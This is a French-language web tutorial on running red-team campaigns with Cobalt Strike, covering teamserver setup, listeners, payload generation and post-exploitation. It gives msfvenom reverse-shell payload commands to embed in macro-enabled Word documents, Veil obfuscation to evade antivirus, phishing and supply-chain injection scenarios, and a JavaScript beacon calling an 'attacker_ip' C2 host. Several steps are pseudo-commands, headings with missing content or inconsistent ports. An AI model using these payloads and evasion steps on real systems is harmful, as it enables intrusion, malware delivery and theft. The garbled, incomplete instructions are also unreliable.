🚩 Cobalt Strike - Guide Red Teaming Ultime

Cobalt Strike est l’outil le plus puissant pour orchestrer des campagnes de Red Teaming, simulant des attaques réelles avec des capacités avancées de Command & Control (C2), de gestion de payloads, et d’analyse réseau. Ce guide explore ses fonctionnalités en profondeur, avec des scénarios concrets et des techniques professionnelles.

Pré-requis Essentiels

2️⃣ Installation et Configuration

Étape 1 : Déploiement du Teamserver

Après avoir téléchargé Cobalt Strike, décompressez les fichiers et exécutez le **Teamserver** :

Pour démarrer le Teamserver, exécutez la commande suivante :

java -jar teamserver <Votre_IP> mot_de_passe

Testez si le serveur est opérationnel avec cette commande :

nc -zv <Votre_IP> 50050

Étape 2 : Lancer le Client

Sur votre machine cliente, connectez-vous au Teamserver en exécutant :

java -jar cobaltstrike.jar

Renseignez les informations demandées :

3️⃣ Listeners et Payloads : Gestion Avancée

Types de Listeners Disponibles

Cobalt Strike supporte plusieurs protocoles pour établir des connexions avec les cibles :

Créer un Listener HTTP

Depuis l’interface de Cobalt Strike, ajoutez un Listener avec les paramètres suivants :


Clic droit -> Listeners -> Add Listener
Type: HTTP
Host: <Votre_IP>
Port: 8080
            

Générer des Payloads

Dans le menu "Attacks" :

  1. Sélectionnez "Payload Generator".
  2. Choisissez le listener configuré.
  3. Sélectionnez le format (exemple : EXE pour Windows).
  4. Générez et testez votre payload dans votre environnement de test.

Payloads Avancés

Créez des payloads pour des environnements restreints, comme un script PowerShell :


cobaltstrike -> Attacks -> Web Drive-By -> Powershell Payload
            

Payloads Obfusqués

Pour contourner les antivirus, combinez Cobalt Strike avec Veil Framework :


veil
use 1
set PAYLOAD windows/meterpreter/reverse_https
generate
            

4️⃣ Post-Exploitation Professionnelle

Commandes Beacons

Une fois connecté à une cible via un beacon, exploitez les commandes suivantes :

Mouvement Latéral

Utilisez **PowerView** ou **BloodHound** pour identifier les relations Active Directory :


powershell-import /path/to/PowerView.ps1
powershell Get-DomainUser
        

Pivotez vers d’autres machines en utilisant des commandes de rebond :


pivot -> host:<IP cible> -> port:445
        

5️⃣ Évasion et Contournement des Défenses

Les systèmes modernes utilisent des outils comme EDR (Endpoint Detection and Response) pour détecter les activités malveillantes. Voici quelques tactiques d’évasion :

6️⃣ Scénarios Pratiques de Red Teaming

Scénario 1 : Attaque par Phishing

Envoyez un email avec un lien vers une page hébergeant un payload généré. Capturez les connexions et interagissez avec les cibles.


veil
use 1
set PAYLOAD windows/meterpreter/reverse_https
generate
                

Scénario 2 : Évasion Avancée

Utilisez un listener DNS pour exfiltrer des données d’un réseau hautement surveillé.


Type: DNS
Host: <Votre_IP>
Port: 53
                

Scénario 3 : Déplacement Latéral

Explorez Active Directory, identifiez les comptes privilégiés, et exécutez des commandes pour atteindre d’autres machines.


powershell-import /path/to/PowerView.ps1
Get-DomainUser
                

Scénario 4 : Attaque par Dropper

Générez un payload dissimulé dans un document Word malveillant. Testez-le dans un environnement virtualisé pour évaluer sa discrétion.


msfvenom -p windows/meterpreter/reverse_https LHOST=<Votre_IP> LPORT=443 -f exe > payload.exe
Insert payload.exe into macro-enabled Word document.
                

Scénario 5 : Compromission de chaînes d'approvisionnement

Simulez une attaque sur un serveur de mise à jour. Injectez un payload malveillant dans une chaîne de mise à jour et surveillez la propagation à travers les cibles.


Inject malicious updates into the target server update mechanism.
Distribute updates to targeted clients.
                

Scénario 6 : Gestion de campagnes multi-cibles

Créez et gérez plusieurs beacons sur des réseaux isolés. Exploitez les connexions parallèles pour simuler une attaque à grande échelle avec des cibles diversifiées.

Étapes de la Simulation :

Exemple de Code pour la Simulation d'un Beacon :


                
                <script type="text/javascript">
                    // Connecter au serveur de commande et contrôle
                    function connectToCNC() {
                        let cncHost = "attacker_ip";  // Adresse IP du C&C
                        let cncPort = 4444;           // Port du serveur C&C
                        let socket = new WebSocket("ws://" + cncHost + ":" + cncPort);
                
                        socket.onopen = function() {
                            console.log("Connexion au serveur C&C établie");
                        };
                
                        socket.onerror = function(error) {
                            console.log("Erreur de connexion : " + error.message);
                        };
                
                        return socket;
                    }

                    // Envoyer une commande au serveur C&C
                    function sendCommand(socket, command) {
                        socket.send(command);
                        socket.onmessage = function(event) {
                            console.log("Réponse du serveur C&C : " + event.data);
                        };
                    }

                    // Fonction principale du Beacon
                    function beacon() {
                        let socket = connectToCNC();
                        if (socket) {
                            setInterval(function() {
                                sendCommand(socket, "CHECK");  // Vérifier les commandes toutes les 5 secondes
                            }, 5000);
                        }
                   }

                    // Démarrer le Beacon
                    beacon();
                </script>
                

7️⃣ Automatisation des Tâches

Exemple de Script Python

Automatisez la gestion des listeners avec ce script :


import requests

url = "https://:50050/api/"
headers = {'Authorization': 'Bearer '}

response = requests.get(url + "listeners", headers=headers, verify=False)
print(response.json())
                

8️⃣ Sécurité et Logs

Déployez un VPN et configurez un pare-feu pour restreindre l'accès au serveur Teamserver, en assurant une communication sécurisée et une surveillance efficace des logs.

Étapes

Exemple de Code pour la Configuration du Pare-feu :


                # Exemple de configuration de pare-feu avec iptables (Linux)
        
                # Bloquer toutes les connexions par défaut
                iptables -P INPUT DROP
                iptables -P FORWARD DROP
                iptables -P OUTPUT ACCEPT
        
                # Autoriser les connexions locales
                iptables -A INPUT -i lo -j ACCEPT
        
                # Autoriser le trafic VPN (par exemple, OpenVPN sur le port 1194)
                iptables -A INPUT -p udp --dport 1194 -j ACCEPT
        
                # Autoriser l'accès au Teamserver uniquement depuis des IPs autorisées (ex: 192.168.1.0/24)
                iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 8080 -j ACCEPT
        
                # Activer la journalisation pour les connexions suspectes
                iptables -A INPUT -m state --state NEW -j LOG --log-prefix "NEW CONNECTION: "
                

Exemple de Code pour la Configuration du VPN :


                # Exemple de configuration OpenVPN (serveur)
        
                # Configurer le serveur VPN pour écouter sur le port 1194
                port 1194
                proto udp
                dev tun
        
                # Authentification par certificats SSL
                ca ca.crt
                cert server.crt
                key server.key
        
                # Activer le routage du trafic
                push "redirect-gateway def1"
        
                # Sécuriser les clients en attribuant des adresses IP du réseau 10.8.0.0/24
                server 10.8.0.0 255.255.255.0
        
                # Configurer la clé de chiffrement
                cipher AES-256-CBC
                

Surveillance des Logs :